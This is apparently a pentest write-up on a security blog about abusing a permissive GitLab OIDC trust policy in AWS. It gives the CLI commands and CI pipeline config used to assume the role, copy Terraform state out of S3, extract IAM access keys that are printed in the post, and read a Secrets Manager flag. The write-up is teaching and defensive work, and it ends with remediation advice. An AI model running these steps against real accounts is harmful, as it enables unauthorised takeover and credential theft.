Skip to content
All posts

Abusing Identity Providers in AWS


Join us on a ride-along pentest of AWS and GitLab!

Huge Logistics has hired us to perform a security assessment of their AWS environment. They've only given us Read-Only access to their AWS account and asked us to identify and exploit any security issues we can find. The Security team has planted a flag in Secrets Manager for us to find if we prevail. We'll cover enumeration techniques, privilege escalation, and IAM Trust Policy abuse.

IAM Enumeration 🪖

 

A common permission policy given to pentesters for an AWS engagement is arn:aws:iam::aws:policy/ReadOnlyAccess. This policy grants read-only access to most AWS services. We can use these permissions to enumerate the environment and identify potential security issues. While there are automated tools such as Pacu that can help with enumeration, we'll focus on leveraging the AWS CLI to manually enumerate the environment.

Let's start!

Running the following command will list all IAM users in the account. Since the AWS output is in JSON format, we can use jq to parse the output and display only the usernames.

$ aws iam list-users | jq -r '.Users[].UserName'

pentester
sally


We can view any attached Managed Policies for a user by running the following command.

$ aws iam list-attached-user-policies --user-name sally       

{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}

Next, we can enumerate any IAM Roles.

$ aws iam list-roles | jq -r '.Roles[].RoleName'   

AWSServiceRoleForAmazonSSM
AWSServiceRoleForOrganizations
AWSServiceRoleForServiceQuotas
AWSServiceRoleForSSO
AWSServiceRoleForSupport
AWSServiceRoleForTrustedAdvisor
gitlab
OrganizationAccountAccessRole

Anytime we see a role start with AWSServiceRoleFor it likely means the respective service is enabled in the account. For example, AWSServiceRoleForAmazonSSM means the AWS Systems Manager service may be enabled.

gitlab on the other hand, would be a custom IAM role. Let's enumerate its permission and trust policy.

# permission policy

$ aws iam list-attached-role-policies --role-name gitlab

{
"AttachedPolicies": [
{
"PolicyName": "AmazonS3FullAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AmazonS3FullAccess"
}
]
}

The gitlab role has the AmazonS3FullAccess policy attached. This policy grants full access to all S3 buckets in the account.

# trust policy

aws iam get-role --role-name gitlab | jq -r '.Role.AssumeRolePolicyDocument'

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::123456789012:oidc-provider/gitlab.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"gitlab.com:aud": "https://gitlab.com"
}
}
}
]
}

Its associated Trust Policy is the default configuration when creating this IAM Role. As can be seen, this allows Principals federated through GitLab OpenId Connect (OIDC) the ability to assume this role, provided the audience (aud) claim in the OIDC token matches https://gitlab.com⁠. Essentially, the only condition is that this request comes from https://gitlab.com. This means anyone with knowledge of the AWS account ID and the ARN of this role can use their own GitLab account and assume the gitlab role in this account! To prevent this from occurring, additional filtering should be added to include specific GitLab projects, groups, branches, and tags.

Lucky for us, we found an entry point into the environment.

 


GitLab Overview and Setup 🦊

 

To take advantage of and leverage the gitlab IAM Role, we need a free GitLab account. Once configured we’ll set up a Project.

gitlab_project


Within the Project settings, we need to configure GitLab CI/CD Variables which enable the Project to contact AWS with a JSON Web Token (JWT), requesting to leverage the IAM Role associated with the GitLab Identity Provider.

gitlab2-1


The associated variables must be configured as below.


AWS_CONFIG_FILE

  • Type: File 
  • Environments: All (default)
  • Flags:
    • Protect variable: Checked 
    • Expand variable reference: Checked 
  • Key: AWS_CONFIG_FILE 
  • Value: 
[profile oidc]
role_arn=${ROLE_ARN}
web_identity_token_file=${web_identity_token}

 

ROLE_ARN

  • Type: Variable (default) 
  • Environments: All (default) 
  • Flags:
    • Protect variable: Checked 
    • Expand variable reference: Checked 
  • Key: ROLE_ARN 
  • Value:

    arn:aws:iam::123456789012:oidc-provider/gitlab.com

 

web_identity_token 

  • Type: File 
  • Environments: All (default) 
  • Flags:
    • Protect variable: Checked 
    • Expand variable reference: Checked 
  • Key: web_identity_token 
  • Value:

    ${GITLAB_OIDC_TOKEN}



Taking Over the GitLab IAM Role 😈


Next, we’ll create a file named .gitlab⁠-ci.yml inside our Project’s main branch. Once configured, this allows us to leverage the ⁠gitlab⁠ IAM Role and run AWS commands via GitLab’s CI/CD pipeline. On the main branch, create the file with these contents.

#.gitlab-ci.yml

variables:
AWS_DEFAULT_REGION: us-east-1
AWS_PROFILE: "oidc"

oidc:
image:
name: amazon/aws-cli:latest
entrypoint: [""]
id_tokens:
GITLAB_OIDC_TOKEN:
aud: https://gitlab.com
script:
- aws sts get-caller-identity


After saving this to the main branch, our GitLab CI/CD pipeline will run and we’ll confirm we have access to the ⁠gitlab IAM Role!



We discovered this IAM Role has full S3 access, so let's try to list S3 buckets. We can update the script command as follows.

#.gitlab-ci.yml

oidc:
image:
name: amazon/aws-cli:latest
entrypoint: [""]
id_tokens:
GITLAB_OIDC_TOKEN:
aud: https://gitlab.com
script:
- aws s3 ls

 

We found a bucket named huge-logistics-terraform-state ! After running a few more S3 commands in the pipeline we eventually discover a terraform.tfstate file! This can be saved as an artifact and downloaded from the pipeline.

# updated .gitlab-ci.yml

script:
- aws s3 ls
- aws s3 ls s3://huge-logistics-terraform-state/
- aws s3 cp s3://huge-logistics-terraform-state/terraform.tfstate .
artifacts:
paths:
- terraform.tfstate

 


We can then download the terraform.tfstate file from the pipeline.





Finding Credentials in Terraform State 🔑

Terraform is a popular solution for defining and managing infrastructure as code. The terraform.tfstate file is considered sensitive as it contains information about any resources built. Storing this file in S3 is a common practice but other backends are supported.

The artifact from GitLab is zipped but we can unzip it and view the contents.

$ unzip artifacts.zip

Archive: artifacts.zip
inflating: terraform.tfstate

We quickly view the resources stored in this terraform state file by running the following command.

$ terraform state list

aws_iam_access_key.sally
aws_iam_user.sally
aws_s3_bucket.bucket

Earlier in our enumeration we identified an IAM user named sally . Let's see if their access key is stored in the terraform state file by running cat terraform.tfstate .

We found Sally's AWS access keys!




Enumerating Sally's Access 👀

Let's configure Sally's access keys in our AWS CLI tool and see if they're still active!

$ aws configure      

AWS Access Key ID [****************4XX6]: AKIAQLKMFY7JQ2OZJDIF
AWS Secret Access Key [****************g6sV]: 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
Default region name [us-east-1]:
Default output format [json]:

Looks like they're still good! And we now have Administrator access...

$ aws iam list-attached-user-policies --user-name sally

{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}


Let's try enumerating Secrets Manager to find the flag. First, we'll list the secrets we have access to.

$ aws secretsmanager list-secrets     

{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:123456789012:secret:flag-for-pentest-vIgxf5",
"Name": "flag-for-pentest",
"LastChangedDate": "2024-03-10T20:02:18.907000-06:00",
"LastAccessedDate": "2024-03-10T18:00:00-06:00",
"Tags": [],
"SecretVersionsToStages": {
"ea515121-bc94-4d85-adfb-f8040f6a751f": [
"AWSCURRENT"
]
},
"CreatedDate": "2024-03-10T20:02:18.661000-06:00"
}
]
}


Then claim the flag! 

$ aws secretsmanager get-secret-value --secret-id flag-for-pentest

{
"ARN": "arn:aws:secretsmanager:us-east-1:123456789012:secret:flag-for-pentest-vIgxf5",
"Name": "flag-for-pentest",
"VersionId": "ea515121-bc94-4d85-adfb-f8040f6a751f",
"SecretString": "{\"flag\":\"huge-logistics-security-team\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": "2024-03-10T20:02:18.902000-06:00"
}

 

Wrap Up

During the engagement we abused a default Trust Policy by leveraging the gitlab IAM Role to gain access to an S3 bucket that was configured as a backend for storing terraform state. We then downloaded the terraform state file from the GitLab pipeline and within it found IAM access keys for Sally. Leveraging Sally's access we gained full administrator privileges over the AWS account, and rightfully claimed the flag left by the Security team in Secrets Manager! To prevent this from happening in the future, Huge Logistics should add additional filtering to the Trust Policy of the gitlab IAM Role (and also consider if Sally could be assigned less privileges in line with the principle of least privilege).